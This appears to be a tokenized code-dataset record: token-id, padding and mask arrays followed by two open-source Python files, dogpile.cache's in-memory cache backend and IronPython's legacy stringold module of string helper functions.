14, 16, 267, 291, 14, 827, 1556, 71, 4022, 17, 14, 16, 267, 327, 267, 327, 299, 26133, 1083, 267, 327, 267, 291, 14, 2051, 313, 594, 83, 3713, 34, 393, 3903, 20059, 356, 80, 26133, 63, 8104, 14, 34, 393, 3903, 20059, 12, 586, 283, 6671, 266, 14243, 320, 356, 80, 26133, 63, 8104, 14, 6671, 266, 63, 16034, 320, 12, 586, 283, 52, 290, 18090, 13, 3863, 88, 991, 356, 80, 26133, 63, 8104, 14, 52, 290, 18090, 63, 3863, 88, 991, 12, 586, 283, 6671, 266, 14243, 320, 334, 35, 4176, 11862, 80, 26133, 63, 8104, 14, 6671, 266, 63, 16034, 320, 63, 14533, 12, 586, 283, 34, 393, 3903, 20059, 334, 35, 4176, 11862, 80, 26133, 63, 8104, 14, 34, 393, 3903, 20059, 63, 14533, 93, 267, 327, 267, 327, 2670, 340, 781, 787, 2797, 687, 3447, 90, 7467, 267, 327, 267, 291, 14, 287, 90, 5206, 29, 797, 267, 340, 557, 15859, 6803, 363, 287, 90, 5206, 63, 3578, 3706, 288, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Elettronik/SickRage
lib/dogpile/cache/backends/memory.py
47
3640
""" Memory Backends --------------- Provides simple dictionary-based backends. The two backends are :class:`.MemoryBackend` and :class:`.MemoryPickleBackend`; the latter applies a serialization step to cached values while the former places the value as given into the dictionary. """ from dogpile.cache.api import CacheBackend, NO_VALUE from dogpile.cache.compat import pickle class MemoryBackend(CacheBackend): """A backend that uses a plain dictionary. There is no size management, and values which are placed into the dictionary will remain until explicitly removed. Note that Dogpile's expiration of items is based on timestamps and does not remove them from the cache. E.g.:: from dogpile.cache import make_region region = make_region().configure( 'dogpile.cache.memory' ) To use a Python dictionary of your choosing, it can be passed in with the ``cache_dict`` argument:: my_dictionary = {} region = make_region().configure( 'dogpile.cache.memory', arguments={ "cache_dict":my_dictionary } ) """ pickle_values = False def __init__(self, arguments): self._cache = arguments.pop("cache_dict", {}) def get(self, key): value = self._cache.get(key, NO_VALUE) if value is not NO_VALUE and self.pickle_values: value = pickle.loads(value) return value def get_multi(self, keys): ret = [ self._cache.get(key, NO_VALUE) for key in keys] if self.pickle_values: ret = [ pickle.loads(value) if value is not NO_VALUE else value for value in ret ] return ret def set(self, key, value): if self.pickle_values: value = pickle.dumps(value, pickle.HIGHEST_PROTOCOL) self._cache[key] = value def set_multi(self, mapping): pickle_values = self.pickle_values for key, value in mapping.items(): if pickle_values: value = pickle.dumps(value, pickle.HIGHEST_PROTOCOL) self._cache[key] = value def delete(self, key): self._cache.pop(key, None) def delete_multi(self, keys): for key in keys: self._cache.pop(key, None) class MemoryPickleBackend(MemoryBackend): """A backend that uses a plain dictionary, but serializes objects on :meth:`.MemoryBackend.set` and deserializes :meth:`.MemoryBackend.get`. E.g.:: from dogpile.cache import make_region region = make_region().configure( 'dogpile.cache.memory_pickle' ) The usage of pickle to serialize cached values allows an object as placed in the cache to be a copy of the original given object, so that any subsequent changes to the given object aren't reflected in the cached value, thus making the backend behave the same way as other backends which make use of serialization. The serialization is performed via pickle, and incurs the same performance hit in doing so as that of other backends; in this way the :class:`.MemoryPickleBackend` performance is somewhere in between that of the pure :class:`.MemoryBackend` and the remote server oriented backends such as that of Memcached or Redis. Pickle behavior here is the same as that of the Redis backend, using either ``cPickle`` or ``pickle`` and specifying ``HIGHEST_PROTOCOL`` upon serialize. .. versionadded:: 0.5.3 """ pickle_values = True
gpl-3.0
[ 624, 199, 8628, 10257, 3198, 199, 18964, 199, 199, 17473, 3486, 2600, 13, 6788, 14745, 14, 199, 199, 1918, 2877, 14745, 787, 520, 533, 5026, 8628, 8447, 64, 436, 520, 533, 5026, 8628, 12755, 8447, 64, 27, 199, 1589, 19045, 12966, 282, 16953, 3650, 370, 6328, 1338, 1830, 314, 26610, 199, 10696, 314, 574, 465, 1627, 1901, 314, 2600, 14, 199, 199, 624, 199, 199, 504, 886, 4927, 441, 14, 1637, 14, 1246, 492, 11977, 8447, 12, 4825, 63, 7041, 199, 504, 886, 4927, 441, 14, 1637, 14, 5819, 492, 5927, 421, 199, 533, 15825, 8447, 8, 4437, 8447, 304, 272, 408, 33, 4865, 626, 4440, 282, 8971, 2600, 14, 339, 6006, 365, 949, 1568, 10041, 12, 436, 1338, 1314, 272, 787, 15090, 1901, 314, 2600, 911, 5706, 272, 5133, 7662, 4829, 14, 257, 3390, 626, 272, 577, 974, 80, 441, 1159, 15399, 402, 2974, 365, 4079, 641, 272, 22496, 436, 1630, 440, 2813, 3062, 687, 272, 314, 2581, 14, 339, 662, 14, 71, 28383, 398, 687, 886, 4927, 441, 14, 1637, 492, 1852, 63, 4551, 398, 4897, 275, 1852, 63, 4551, 1252, 6472, 8, 288, 283, 13889, 80, 441, 14, 1637, 14, 4844, 7, 267, 776, 2378, 4005, 675, 282, 2018, 2600, 402, 2195, 2468, 26056, 12, 272, 652, 883, 506, 3032, 315, 543, 314, 1124, 1637, 63, 807, 1040, 272, 1423, 447, 398, 3002, 63, 9086, 275, 1052, 267, 4897, 275, 1852, 63, 4551, 1252, 6472, 8, 288, 283, 13889, 80, 441, 14, 1637, 14, 4844, 297, 288, 2368, 3126, 355, 298, 1637, 63, 807, 582, 1662, 63, 9086, 288, 789, 267, 776, 2378, 408, 272, 5927, 63, 1459, 275, 756, 339, 347, 636, 826, 721, 277, 12, 2368, 304, 267, 291, 423, 1637, 275, 2368, 14, 1935, 480, 1637, 63, 807, 401, 5009, 339, 347, 664, 8, 277, 12, 790, 304, 267, 574, 275, 291, 423, 1637, 14, 362, 8, 498, 12, 4825, 63, 7041, 9, 267, 340, 574, 365, 440, 4825, 63, 7041, 436, 291, 14, 8092, 63, 1459, 26, 288, 574, 275, 5927, 14, 3640, 8, 585, 9, 267, 372, 574, 339, 347, 664, 63, 3029, 8, 277, 12, 2883, 304, 267, 2203, 275, 359, 288, 291, 423, 1637, 14, 362, 8, 498, 12, 4825, 63, 7041, 9, 288, 367, 790, 315, 2883, 61, 267, 340, 291, 14, 8092, 63, 1459, 26, 288, 2203, 275, 359, 355, 5927, 14, 3640, 8, 585, 9, 355, 340, 574, 365, 440, 4825, 63, 7041, 587, 574, 355, 367, 574, 315, 2203, 288, 1622, 267, 372, 2203, 339, 347, 663, 8, 277, 12, 790, 12, 574, 304, 267, 340, 291, 14, 8092, 63, 1459, 26, 288, 574, 275, 5927, 14, 4180, 8, 585, 12, 5927, 14, 31977, 63, 9583, 9, 267, 291, 423, 1637, 59, 498, 61, 275, 574, 339, 347, 663, 63, 3029, 8, 277, 12, 4412, 304, 267, 5927, 63, 1459, 275, 291, 14, 8092, 63, 1459, 267, 367, 790, 12, 574, 315, 4412, 14, 1744, 837, 288, 340, 5927, 63, 1459, 26, 355, 574, 275, 5927, 14, 4180, 8, 585, 12, 5927, 14, 31977, 63, 9583, 9, 288, 291, 423, 1637, 59, 498, 61, 275, 574, 339, 347, 3145, 8, 277, 12, 790, 304, 267, 291, 423, 1637, 14, 1935, 8, 498, 12, 488, 9, 339, 347, 3145, 63, 3029, 8, 277, 12, 2883, 304, 267, 367, 790, 315, 2883, 26, 288, 291, 423, 1637, 14, 1935, 8, 498, 12, 488, 9, 421, 199, 533, 15825, 12755, 8447, 8, 8628, 8447, 304, 272, 408, 33, 4865, 626, 4440, 282, 8971, 2600, 12, 1325, 3012, 6491, 2251, 641, 272, 520, 5247, 5026, 8628, 8447, 14, 409, 64, 436, 477, 2171, 6491, 520, 5247, 5026, 8628, 8447, 14, 362, 2313, 339, 662, 14, 71, 28383, 398, 687, 886, 4927, 441, 14, 1637, 492, 1852, 63, 4551, 398, 4897, 275, 1852, 63, 4551, 1252, 6472, 8, 288, 283, 13889, 80, 441, 14, 1637, 14, 4844, 63, 8092, 7, 267, 776, 339, 710, 4503, 402, 5927, 370, 8437, 6328, 1338, 6127, 376, 909, 272, 465, 15090, 315, 314, 2581, 370, 506, 282, 1331, 402, 314, 3379, 1627, 909, 12, 880, 272, 626, 1263, 13372, 4493, 370, 314, 1627, 909, 10621, 1133, 31948, 272, 315, 314, 6328, 574, 12, 12850, 10663, 314, 4865, 24062, 314, 2011, 4340, 272, 465, 1163, 14745, 1314, 1852, 675, 402, 16953, 14, 339, 710, 16953, 365, 10585, 4799, 5927, 12, 436, 315, 17255, 314, 2011, 272, 10238, 9793, 315, 9689, 880, 465, 626, 402, 1163, 14745, 27, 315, 642, 4340, 272, 314, 520, 533, 5026, 8628, 12755, 8447, 64, 10238, 365, 23430, 315, 3382, 272, 626, 402, 314, 15111, 520, 533, 5026, 8628, 8447, 64, 436, 314, 3982, 1654, 503, 24555, 471, 272, 14745, 4066, 465, 626, 402, 30465, 5245, 503, 25496, 14, 339, 31732, 5953, 2348, 365, 314, 2011, 465, 626, 402, 314, 25496, 4865, 12, 1808, 272, 1902, 1124, 67, 12755, 1040, 503, 1124, 8092, 1040, 436, 9176, 1124, 31977, 63, 9583, 1040, 272, 12188, 8437, 14, 339, 2508, 7445, 447, 378, 14, 21, 14, 19, 339, 408, 272, 5927, 63, 1459, 275, 715, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 8628, 10257, 3198, 199, 18964, 199, 199, 17473, 3486, 2600, 13, 6788, 14745, 14, 199, 199, 1918, 2877, 14745, 787, 520, 533, 5026, 8628, 8447, 64, 436, 520, 533, 5026, 8628, 12755, 8447, 64, 27, 199, 1589, 19045, 12966, 282, 16953, 3650, 370, 6328, 1338, 1830, 314, 26610, 199, 10696, 314, 574, 465, 1627, 1901, 314, 2600, 14, 199, 199, 624, 199, 199, 504, 886, 4927, 441, 14, 1637, 14, 1246, 492, 11977, 8447, 12, 4825, 63, 7041, 199, 504, 886, 4927, 441, 14, 1637, 14, 5819, 492, 5927, 421, 199, 533, 15825, 8447, 8, 4437, 8447, 304, 272, 408, 33, 4865, 626, 4440, 282, 8971, 2600, 14, 339, 6006, 365, 949, 1568, 10041, 12, 436, 1338, 1314, 272, 787, 15090, 1901, 314, 2600, 911, 5706, 272, 5133, 7662, 4829, 14, 257, 3390, 626, 272, 577, 974, 80, 441, 1159, 15399, 402, 2974, 365, 4079, 641, 272, 22496, 436, 1630, 440, 2813, 3062, 687, 272, 314, 2581, 14, 339, 662, 14, 71, 28383, 398, 687, 886, 4927, 441, 14, 1637, 492, 1852, 63, 4551, 398, 4897, 275, 1852, 63, 4551, 1252, 6472, 8, 288, 283, 13889, 80, 441, 14, 1637, 14, 4844, 7, 267, 776, 2378, 4005, 675, 282, 2018, 2600, 402, 2195, 2468, 26056, 12, 272, 652, 883, 506, 3032, 315, 543, 314, 1124, 1637, 63, 807, 1040, 272, 1423, 447, 398, 3002, 63, 9086, 275, 1052, 267, 4897, 275, 1852, 63, 4551, 1252, 6472, 8, 288, 283, 13889, 80, 441, 14, 1637, 14, 4844, 297, 288, 2368, 3126, 355, 298, 1637, 63, 807, 582, 1662, 63, 9086, 288, 789, 267, 776, 2378, 408, 272, 5927, 63, 1459, 275, 756, 339, 347, 636, 826, 721, 277, 12, 2368, 304, 267, 291, 423, 1637, 275, 2368, 14, 1935, 480, 1637, 63, 807, 401, 5009, 339, 347, 664, 8, 277, 12, 790, 304, 267, 574, 275, 291, 423, 1637, 14, 362, 8, 498, 12, 4825, 63, 7041, 9, 267, 340, 574, 365, 440, 4825, 63, 7041, 436, 291, 14, 8092, 63, 1459, 26, 288, 574, 275, 5927, 14, 3640, 8, 585, 9, 267, 372, 574, 339, 347, 664, 63, 3029, 8, 277, 12, 2883, 304, 267, 2203, 275, 359, 288, 291, 423, 1637, 14, 362, 8, 498, 12, 4825, 63, 7041, 9, 288, 367, 790, 315, 2883, 61, 267, 340, 291, 14, 8092, 63, 1459, 26, 288, 2203, 275, 359, 355, 5927, 14, 3640, 8, 585, 9, 355, 340, 574, 365, 440, 4825, 63, 7041, 587, 574, 355, 367, 574, 315, 2203, 288, 1622, 267, 372, 2203, 339, 347, 663, 8, 277, 12, 790, 12, 574, 304, 267, 340, 291, 14, 8092, 63, 1459, 26, 288, 574, 275, 5927, 14, 4180, 8, 585, 12, 5927, 14, 31977, 63, 9583, 9, 267, 291, 423, 1637, 59, 498, 61, 275, 574, 339, 347, 663, 63, 3029, 8, 277, 12, 4412, 304, 267, 5927, 63, 1459, 275, 291, 14, 8092, 63, 1459, 267, 367, 790, 12, 574, 315, 4412, 14, 1744, 837, 288, 340, 5927, 63, 1459, 26, 355, 574, 275, 5927, 14, 4180, 8, 585, 12, 5927, 14, 31977, 63, 9583, 9, 288, 291, 423, 1637, 59, 498, 61, 275, 574, 339, 347, 3145, 8, 277, 12, 790, 304, 267, 291, 423, 1637, 14, 1935, 8, 498, 12, 488, 9, 339, 347, 3145, 63, 3029, 8, 277, 12, 2883, 304, 267, 367, 790, 315, 2883, 26, 288, 291, 423, 1637, 14, 1935, 8, 498, 12, 488, 9, 421, 199, 533, 15825, 12755, 8447, 8, 8628, 8447, 304, 272, 408, 33, 4865, 626, 4440, 282, 8971, 2600, 12, 1325, 3012, 6491, 2251, 641, 272, 520, 5247, 5026, 8628, 8447, 14, 409, 64, 436, 477, 2171, 6491, 520, 5247, 5026, 8628, 8447, 14, 362, 2313, 339, 662, 14, 71, 28383, 398, 687, 886, 4927, 441, 14, 1637, 492, 1852, 63, 4551, 398, 4897, 275, 1852, 63, 4551, 1252, 6472, 8, 288, 283, 13889, 80, 441, 14, 1637, 14, 4844, 63, 8092, 7, 267, 776, 339, 710, 4503, 402, 5927, 370, 8437, 6328, 1338, 6127, 376, 909, 272, 465, 15090, 315, 314, 2581, 370, 506, 282, 1331, 402, 314, 3379, 1627, 909, 12, 880, 272, 626, 1263, 13372, 4493, 370, 314, 1627, 909, 10621, 1133, 31948, 272, 315, 314, 6328, 574, 12, 12850, 10663, 314, 4865, 24062, 314, 2011, 4340, 272, 465, 1163, 14745, 1314, 1852, 675, 402, 16953, 14, 339, 710, 16953, 365, 10585, 4799, 5927, 12, 436, 315, 17255, 314, 2011, 272, 10238, 9793, 315, 9689, 880, 465, 626, 402, 1163, 14745, 27, 315, 642, 4340, 272, 314, 520, 533, 5026, 8628, 12755, 8447, 64, 10238, 365, 23430, 315, 3382, 272, 626, 402, 314, 15111, 520, 533, 5026, 8628, 8447, 64, 436, 314, 3982, 1654, 503, 24555, 471, 272, 14745, 4066, 465, 626, 402, 30465, 5245, 503, 25496, 14, 339, 31732, 5953, 2348, 365, 314, 2011, 465, 626, 402, 314, 25496, 4865, 12, 1808, 272, 1902, 1124, 67, 12755, 1040, 503, 1124, 8092, 1040, 436, 9176, 1124, 31977, 63, 9583, 1040, 272, 12188, 8437, 14, 339, 2508, 7445, 447, 378, 14, 21, 14, 19, 339, 408, 272, 5927, 63, 1459, 275, 715, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ryokochang/Slab-GCS
packages/IronPython.StdLib.2.7.5-beta1/content/Lib/stringold.py
293
12449
# module 'string' -- A collection of string operations # Warning: most of the code you see here isn't normally used nowadays. With # Python 1.6, many of these functions are implemented as methods on the # standard string object. They used to be implemented by a built-in module # called strop, but strop is now obsolete itself. """Common string manipulations. Public module variables: whitespace -- a string containing all characters considered whitespace lowercase -- a string containing all characters considered lowercase letters uppercase -- a string containing all characters considered uppercase letters letters -- a string containing all characters considered letters digits -- a string containing all characters considered decimal digits hexdigits -- a string containing all characters considered hexadecimal digits octdigits -- a string containing all characters considered octal digits """ from warnings import warnpy3k warnpy3k("the stringold module has been removed in Python 3.0", stacklevel=2) del warnpy3k # Some strings for ctype-style character classification whitespace = ' \t\n\r\v\f' lowercase = 'abcdefghijklmnopqrstuvwxyz' uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' letters = lowercase + uppercase digits = '0123456789' hexdigits = digits + 'abcdef' + 'ABCDEF' octdigits = '01234567' # Case conversion helpers _idmap = '' for i in range(256): _idmap = _idmap + chr(i) del i # Backward compatible names for exceptions index_error = ValueError atoi_error = ValueError atof_error = ValueError atol_error = ValueError # convert UPPER CASE letters to lower case def lower(s): """lower(s) -> string Return a copy of the string s converted to lowercase. """ return s.lower() # Convert lower case letters to UPPER CASE def upper(s): """upper(s) -> string Return a copy of the string s converted to uppercase. """ return s.upper() # Swap lower case letters and UPPER CASE def swapcase(s): """swapcase(s) -> string Return a copy of the string s with upper case characters converted to lowercase and vice versa. """ return s.swapcase() # Strip leading and trailing tabs and spaces def strip(s): """strip(s) -> string Return a copy of the string s with leading and trailing whitespace removed. """ return s.strip() # Strip leading tabs and spaces def lstrip(s): """lstrip(s) -> string Return a copy of the string s with leading whitespace removed. """ return s.lstrip() # Strip trailing tabs and spaces def rstrip(s): """rstrip(s) -> string Return a copy of the string s with trailing whitespace removed. """ return s.rstrip() # Split a string into a list of space/tab-separated words def split(s, sep=None, maxsplit=0): """split(str [,sep [,maxsplit]]) -> list of strings Return a list of the words in the string s, using sep as the delimiter string. If maxsplit is nonzero, splits into at most maxsplit words If sep is not specified, any whitespace string is a separator. Maxsplit defaults to 0. (split and splitfields are synonymous) """ return s.split(sep, maxsplit) splitfields = split # Join fields with optional separator def join(words, sep = ' '): """join(list [,sep]) -> string Return a string composed of the words in list, with intervening occurrences of sep. The default separator is a single space. (joinfields and join are synonymous) """ return sep.join(words) joinfields = join # for a little bit of speed _apply = apply # Find substring, raise exception if not found def index(s, *args): """index(s, sub [,start [,end]]) -> int Like find but raises ValueError when the substring is not found. """ return _apply(s.index, args) # Find last substring, raise exception if not found def rindex(s, *args): """rindex(s, sub [,start [,end]]) -> int Like rfind but raises ValueError when the substring is not found. """ return _apply(s.rindex, args) # Count non-overlapping occurrences of substring def count(s, *args): """count(s, sub[, start[,end]]) -> int Return the number of occurrences of substring sub in string s[start:end]. Optional arguments start and end are interpreted as in slice notation. """ return _apply(s.count, args) # Find substring, return -1 if not found def find(s, *args): """find(s, sub [,start [,end]]) -> in Return the lowest index in s where substring sub is found, such that sub is contained within s[start,end]. Optional arguments start and end are interpreted as in slice notation. Return -1 on failure. """ return _apply(s.find, args) # Find last substring, return -1 if not found def rfind(s, *args): """rfind(s, sub [,start [,end]]) -> int Return the highest index in s where substring sub is found, such that sub is contained within s[start,end]. Optional arguments start and end are interpreted as in slice notation. Return -1 on failure. """ return _apply(s.rfind, args) # for a bit of speed _float = float _int = int _long = long _StringType = type('') # Convert string to float def atof(s): """atof(s) -> float Return the floating point number represented by the string s. """ if type(s) == _StringType: return _float(s) else: raise TypeError('argument 1: expected string, %s found' % type(s).__name__) # Convert string to integer def atoi(*args): """atoi(s [,base]) -> int Return the integer represented by the string s in the given base, which defaults to 10. The string s must consist of one or more digits, possibly preceded by a sign. If base is 0, it is chosen from the leading characters of s, 0 for octal, 0x or 0X for hexadecimal. If base is 16, a preceding 0x or 0X is accepted. """ try: s = args[0] except IndexError: raise TypeError('function requires at least 1 argument: %d given' % len(args)) # Don't catch type error resulting from too many arguments to int(). The # error message isn't compatible but the error type is, and this function # is complicated enough already. if type(s) == _StringType: return _apply(_int, args) else: raise TypeError('argument 1: expected string, %s found' % type(s).__name__) # Convert string to long integer def atol(*args): """atol(s [,base]) -> long Return the long integer represented by the string s in the given base, which defaults to 10. The string s must consist of one or more digits, possibly preceded by a sign. If base is 0, it is chosen from the leading characters of s, 0 for octal, 0x or 0X for hexadecimal. If base is 16, a preceding 0x or 0X is accepted. A trailing L or l is not accepted, unless base is 0. """ try: s = args[0] except IndexError: raise TypeError('function requires at least 1 argument: %d given' % len(args)) # Don't catch type error resulting from too many arguments to long(). The # error message isn't compatible but the error type is, and this function # is complicated enough already. if type(s) == _StringType: return _apply(_long, args) else: raise TypeError('argument 1: expected string, %s found' % type(s).__name__) # Left-justify a string def ljust(s, width): """ljust(s, width) -> string Return a left-justified version of s, in a field of the specified width, padded with spaces as needed. The string is never truncated. """ n = width - len(s) if n <= 0: return s return s + ' '*n # Right-justify a string def rjust(s, width): """rjust(s, width) -> string Return a right-justified version of s, in a field of the specified width, padded with spaces as needed. The string is never truncated. """ n = width - len(s) if n <= 0: return s return ' '*n + s # Center a string def center(s, width): """center(s, width) -> string Return a center version of s, in a field of the specified width. padded with spaces as needed. The string is never truncated. """ n = width - len(s) if n <= 0: return s half = n/2 if n%2 and width%2: # This ensures that center(center(s, i), j) = center(s, j) half = half+1 return ' '*half + s + ' '*(n-half) # Zero-fill a number, e.g., (12, 3) --> '012' and (-3, 3) --> '-03' # Decadent feature: the argument may be a string or a number # (Use of this is deprecated; it should be a string as with ljust c.s.) def zfill(x, width): """zfill(x, width) -> string Pad a numeric string x with zeros on the left, to fill a field of the specified width. The string x is never truncated. """ if type(x) == type(''): s = x else: s = repr(x) n = len(s) if n >= width: return s sign = '' if s[0] in ('-', '+'): sign, s = s[0], s[1:] return sign + '0'*(width-n) + s # Expand tabs in a string. # Doesn't take non-printing chars into account, but does understand \n. def expandtabs(s, tabsize=8): """expandtabs(s [,tabsize]) -> string Return a copy of the string s with all tab characters replaced by the appropriate number of spaces, depending on the current column, and the tabsize (default 8). """ res = line = '' for c in s: if c == '\t': c = ' '*(tabsize - len(line) % tabsize) line = line + c if c == '\n': res = res + line line = '' return res + line # Character translation through look-up table. def translate(s, table, deletions=""): """translate(s,table [,deletechars]) -> string Return a copy of the string s, where all characters occurring in the optional argument deletechars are removed, and the remaining characters have been mapped through the given translation table, which must be a string of length 256. """ return s.translate(table, deletions) # Capitalize a string, e.g. "aBc dEf" -> "Abc def". def capitalize(s): """capitalize(s) -> string Return a copy of the string s with only its first character capitalized. """ return s.capitalize() # Capitalize the words in a string, e.g. " aBc dEf " -> "Abc Def". def capwords(s, sep=None): """capwords(s, [sep]) -> string Split the argument into words using split, capitalize each word using capitalize, and join the capitalized words using join. Note that this replaces runs of whitespace characters by a single space. """ return join(map(capitalize, s.split(sep)), sep or ' ') # Construct a translation string _idmapL = None def maketrans(fromstr, tostr): """maketrans(frm, to) -> string Return a translation table (a string of 256 bytes long) suitable for use in string.translate. The strings frm and to must be of the same length. """ if len(fromstr) != len(tostr): raise ValueError, "maketrans arguments must have same length" global _idmapL if not _idmapL: _idmapL = list(_idmap) L = _idmapL[:] fromstr = map(ord, fromstr) for i in range(len(fromstr)): L[fromstr[i]] = tostr[i] return join(L, "") # Substring replacement (global) def replace(s, old, new, maxsplit=0): """replace (str, old, new[, maxsplit]) -> string Return a copy of string str with all occurrences of substring old replaced by new. If the optional argument maxsplit is given, only the first maxsplit occurrences are replaced. """ return s.replace(old, new, maxsplit) # XXX: transitional # # If string objects do not have methods, then we need to use the old string.py # library, which uses strop for many more things than just the few outlined # below. try: ''.upper except AttributeError: from stringold import * # Try importing optional built-in module "strop" -- if it exists, # it redefines some string operations that are 100-1000 times faster. # It also defines values for whitespace, lowercase and uppercase # that match <ctype.h>'s definitions. try: from strop import maketrans, lowercase, uppercase, whitespace letters = lowercase + uppercase except ImportError: pass # Use the original versions
gpl-3.0
